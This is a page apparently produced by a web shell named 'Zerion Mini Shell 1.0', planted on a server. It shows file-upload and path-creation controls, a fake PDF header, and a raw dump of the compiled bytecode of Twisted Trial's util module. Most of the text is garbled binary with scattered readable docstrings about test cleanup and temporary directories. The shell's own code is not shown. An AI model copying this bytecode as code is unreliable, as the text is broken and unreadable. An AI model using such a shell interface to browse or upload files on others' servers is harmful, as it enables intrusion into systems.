%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/trial/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/trial/__pycache__/util.cpython-312.pyc

�

Ϫ�f�3��R�dZddlmZddlmZddlmZmZmZm	Z	ddlm
Z
ddlmZm
Z
ddlmZddlmZdd	lmZgd
�Ze�ZdZGd�d
e�ZGd�d�Ze�Zefd�Zd�Zdd�Ze
d�Ze	d�Z d d�Z!Gd�de�Z"d�Z#Gd�de�Z$d�Z%d!d�Z&d"d�Z'y)#a
A collection of utility functions and classes, used internally by Trial.

This code is for Trial's internal use.  Do NOT use this code if you are writing
tests.  It is subject to change at the Trial maintainer's whim.  There is
nothing here in this module for you to use unless you are maintaining Trial.

Any non-Trial Twisted code that uses this module will be shot.

Maintainer: Jonathan Lange

@var DEFAULT_TIMEOUT_DURATION: The default timeout which will be applied to
    asynchronous (ie, Deferred-returning) test methods, in seconds.
�)�annotations)�	randrange)�Any�Callable�TextIO�TypeVar)�	ParamSpec)�
interfaces�utils)�Failure)�FilePath)�FilesystemLock)�DEFAULT_TIMEOUT_DURATION�excInfoOrFailureToExcInfo�suppress�acquireAttributeg^@c� �eZdZdZdd�Zdd�Zy)�DirtyReactorAggregateErrora7
    Passed to L{twisted.trial.itrial.IReporter.addError} when the reactor is
    left in an unclean state after a test.

    @ivar delayedCalls: The L{DelayedCall<twisted.internet.base.DelayedCall>}
        objects which weren't cleaned up.
    @ivar selectables: The selectables which weren't cleaned up.
    Nc� �||_||_y�N)�delayedCalls�selectables)�selfrrs   �4/usr/lib/python3/dist-packages/twisted/trial/util.py�__init__z#DirtyReactorAggregateError.__init__5s��(���&���c��d}|jr1|dz
}|djtt|j��z
}|jr1|dz
}|djtt|j��z
}|S)zR
        Return a multi-line message describing all of the unclean state.
        zReactor was unclean.zM
DelayedCalls: (set twisted.internet.base.DelayedCall.debug = True to debug)
�
z
Selectables:
)r�join�map�strr)r�msgs  r�__str__z"DirtyReactorAggregateError.__str__9s|��%�������
�C�

�4�9�9�S��d�&7�&7�8�9�9�C�����%�%�C��4�9�9�S��d�&6�&6�7�8�8�C��
rr)�returnr!)�__name__�
__module__�__qualname__�__doc__rr#�rrrr+s���'�rrc�l�eZdZdZd
d�Zd�Zd�Zd�Zd�Ze	jeded	d
�f�Zd�Zd�Z
y)�_Janitorz�
    The guy that cleans up after you.

    @ivar test: The L{TestCase} to report errors about.
    @ivar result: The L{IReporter} to report errors to.
    @ivar reactor: The reactor to use. If None, the global reactor
        will be used.
    Nc�.�||_||_||_y)z�
        @param test: See L{_Janitor.test}.
        @param result: See L{_Janitor.result}.
        @param reactor: See L{_Janitor.reactor}.
        N)�test�result�reactor)rr-r.r/s    rrz_Janitor.__init__Us����	������rc��|j�}|r;t|�}|jj|jt|��yy)z�
        Called by L{unittest.TestCase} after a test to catch any logged errors
        or pending L{DelayedCall<twisted.internet.base.DelayedCall>}s.
        FT)�
_cleanPendingrr.�addErrorr-r)r�calls�	aggregates   r�postCaseCleanupz_Janitor.postCaseCleanup_sB��
�"�"�$���2�5�9�I��K�K� � ����G�I�,>�?��rc���|j�}|j�}|s|r;t||�}|jj	|j
t
|��|j�y)a
        Called by L{unittest.TestCase} after the last test in a C{TestCase}
        subclass. Ensures the reactor is clean by murdering the threadpool,
        catching any pending
        L{DelayedCall<twisted.internet.base.DelayedCall>}s, open sockets etc.
        N)�
_cleanReactorr1rr.r2r-r�
_cleanThreads)rrr3r4s    r�postClassCleanupz_Janitor.postClassCleanupksZ���(�(�*���"�"�$���%�2�5�+�F�I��K�K� � ����G�I�,>�?����rc�F�|j�|j}|Sddlm}|S)zI
        Get either the passed-in reactor or the global reactor.
        r)r/)r/�twisted.internet�rr/s  r�_getReactorz_Janitor._getReactorys(���<�<�#��l�l�G���
1��rc�(�|j�}|jd�|jd�g}|j�D]J}|j�rt	|�}|j�nt
d�|j��L|S)zS
        Cancel all pending calls and return their string representations.
        rz)WEIRDNESS! pending timed call not active!)r=�iterate�getDelayedCalls�activer!�cancel�print�append)rr/�delayedCallStrings�p�
delayedStrings     rr1z_Janitor._cleanPending�s����"�"�$��	�������������(�(�*�	5�A��x�x�z� #�A��
����
��A�B��%�%�m�4�
	5�"�!r��ignorez!reactor\.iterate cannot be used.*)�category�messagec��|j�}tjj|�r|j�|j�yyyr)r=r
�IReactorThreads�
providedBy�
threadpool�_stopThreadPoolr<s  rr8z_Janitor._cleanThreads�sH���"�"�$���%�%�0�0��9��!�!�-�
�'�'�)�.�:rc���|j�}g}|j�D]L}tjj	|�r|jd�|j
t|���N|S)z�
        Remove all selectables from the reactor, kill any of them that were
        processes, and return their string representation.
        �KILL)r=�	removeAllr
�IProcessTransportrN�
signalProcessrD�repr)rr/�selectableStrings�sels    rr7z_Janitor._cleanReactor�sl��
�"�"�$�����$�$�&�	0�C��+�+�6�6�s�;��!�!�&�)��$�$�T�#�Y�/�	0�!� rr)r%r&r'r(rr5r9r=r1r�suppressWarnings�DeprecationWarningr8r7r)rrr+r+KsT����
���"�(+�E�*�*���.�?�
�	
�	�M�*�!rr+c�z�|D]}t||�s�t||�cS|tur|Std|�d|����)z�
    Go through the list 'objects' sequentially until we find one which has
    attribute 'attr', then return the value of that attribute.  If not found,
    return 'default' if set, otherwise, raise AttributeError.
    z
attribute z not found in )�hasattr�getattr�_DEFAULT�AttributeError)�objects�attr�default�objs    rrr�sQ���&���3����3��%�%�&��h����
�:�d�X�^�G�;�G�
H�Hrc�t�t|t�r'|j|j|j	�f}|S)a'
    Coerce a Failure to an _exc_info, if err is a Failure.

    @param err: Either a tuple such as returned by L{sys.exc_info} or a
        L{Failure} object.
    @return: A tuple like the one returned by L{sys.exc_info}. e.g.
        C{exception_type, exception_object, traceback_object}.
    )�
isinstancer�type�value�getTracebackObject)�errs rrr�s0���#�w���x�x����C�$:�$:�$<�=���Jrc��|f|fS)a:
    Sets up the .suppress tuple properly, pass options to this method as you
    would the stdlib warnings.filterwarnings()

    So, to use this with a .suppress magic attribute you would do the
    following:

      >>> from twisted.trial import unittest, util
      >>> import warnings
      >>>
      >>> class TestFoo(unittest.TestCase):
      ...     def testFooBar(self):
      ...         warnings.warn("i am deprecated", DeprecationWarning)
      ...     testFooBar.suppress = [util.suppress(message='i am deprecated')]
      ...
      >>>

    Note that as with the todo and timeout attributes: the module level
    attribute acts as a default for the class attribute which acts as a default
    for the method attribute. The suppress attribute can be overridden at any
    level by specifying C{.suppress = []}
    r))�action�kwargs  rrr�s��.�I�u��r�_P�_Tc����d��fd�}|S)Nc���ddl}|j�}	|j�g|��i|��}|j��|j�S#t$rY�wxYw)Nr)�profile�Profile�runcall�
dump_stats�
SystemExit�print_stats)�args�kwargsrq�profr.�f�
outputFiles     ��r�_zprofiled.<locals>._�sd������� ��	�!�T�\�\�!�5�d�5�f�5�F��O�O�J�'�	
�����
���	��	�s�'A�	A�A)rwz_P.argsrxz	_P.kwargsr$rnr))rzr{r|s`` r�profiledr}�s���
�
�Hrc��eZdZdZy)�_NoTrialMarkerz�
    No trial marker file could be found.

    Raised when trial attempts to remove a trial temporary working directory
    that does not contain a marker file.
    N�r%r&r'r(r)rrrr
s��rrc	���|jd�j�st|�d���	|j�y
#t$r�}td|�d|j�d|j���	tdttd��jd�z�}|j|�n7#t$r+}td	|j�d|j����d
}~wwxYwYd
}~y
d
}~wwxYw)z�
    Safely remove a path, recursively.

    If C{path} does not contain a node named C{_trial_marker}, a
    L{_NoTrialMarker} exception is raised and the path is not removed.
    �
_trial_markerz5 is not a trial temporary path, refusing to remove itzcould not remove z, caught OSError [Errno z]: s_trial_temp_oldi����utf-8z-could not rename path, caught OSError [Errno N)
�child�existsr�remove�OSErrorrC�errno�strerrorr
r!r�encode�moveTo)�path�e�newPaths   r�
_removeSafelyr�s����:�:�&�'�.�.�0���h�K�L�
�	
�����
����
��Q�W�W�a�j�j�
*�	
�
	��"�S��8�)<�%=�%D�%D�W�%M�M��G�
�K�K�� ���	���7�7�A�J�J�(�
�
��	��
!���s<�A�	C4�	(C/�2AB3�2C/�3	C'�<&C"�"C'�'C/�/C4c��eZdZdZy)�_WorkingDirectoryBusyzv
    A working directory was specified to the runner, but another test run is
    currently using that directory.
    Nr�r)rrr�r�2s��rr�c���d}	|r%|jd|j�|fz�}n|}|j�jd��t	|j
dz�}|j
�rO|j�rt|�|j�|jd�jd�||fS|j�dk(r|d	z
}n
t����)
a0
    Find an unused directory named similarly to C{base}.

    Once a directory is found, it will be locked and a marker dropped into it
    to identify it as a trial temporary directory.

    @param base: A template path for the discovery process.  If this path
        exactly cannot be used, a path which varies only in a suffix of the
        basename will be used instead.
    @type base: L{FilePath}

    @return: A two-tuple.  The first element is a L{FilePath} representing the
        directory which was found and created.  The second element is a locked
        L{FilesystemLock<twisted.python.lockfile.FilesystemLock>}.  Another
        call to C{_unusedTestDirectory} will not be able to reused the
        same name until the lock is released, either explicitly or by this
        process exiting.
    rTz%s-%d��ignoreExistingDirectoryz.lockr�r�_trial_temp�)�sibling�basename�parent�makedirsrr��lockr�r�r��
setContentr�)�base�counter�testdir�testDirLocks    r�_unusedTestDirectoryr�9s���&�G�
���l�l�7�d�m�m�o�w�-G�#G�H�G��G�����!�!�$�!�?�$�W�\�\�G�%;�<�������~�~���g�&�
�����M�M�*�+�6�6�s�;��K�'�'��}�}��-�/��1���+�-�-�1rc�z�t|ttf�std��|syt	|�dk(rt|d�St	|�dk(r"t|d��d|�dt|d���Sg}|D]}|j
t|���dj|j|dd	�|||d	�S)
ad
    Produce a string containing each thing in C{things},
    separated by a C{delimiter}, with the last couple being separated
    by C{finalDelimiter}

    @param things: The elements of the resulting phrase
    @type things: L{list} or L{tuple}

    @param finalDelimiter: What to put between the last two things
        (typically 'and' or 'or')
    @type finalDelimiter: L{str}

    @param delimiter: The separator to use between each thing,
        not including the last two. Should typically include a trailing space.
    @type delimiter: L{str}

    @return: The resulting phrase
    @rtype: L{str}
    z Things must be a list or a tuple�r�r�� z	{}{}{} {}N���)	re�list�tuple�	TypeError�lenr!rD�formatr)�things�finalDelimiter�	delimiter�	strThings�things     r�
_listToPhraser�hs���(�f�t�U�m�,��:�;�;���
�6�{�a���6�!�9�~��
�6�{�a���f�Q�i�.�!��>�"2�!�C��q�	�N�3C�D�D��	��	)�E����S��Z�(�	)��!�!��N�N�9�S�b�>�*����b�M�	
�	
rc�t�|j�jd��t|jddd��S)zO
    Open the given path such that test log messages can be written to it.
    Tr��ar��strict)�encoding�errors)r�r��openr�)r�s r�openTestLogr��s2��	�K�K�M���4��8���	�	�3���B�BrNrH)rz�Callable[_P, _T]r{r!r$r�)z, )r�z
FilePath[Any]r$r)(r(�
__future__r�randomr�typingrrrrr	r;r
r�twisted.python.failurer�twisted.python.filepathr
�twisted.python.lockfiler�__all__�object�DEFAULT_TIMEOUTr�	Exceptionrr+r^rrrrmrnr}rr�r�r�r�r�r)rr�<module>r�s���
�#��1�1��.�*�,�2����(�� �����@l!�l!�^�8��-5�I���8�t�_���T�]��

� �Y���>�I��,.�^%
�PCr

Zerion Mini Shell 1.0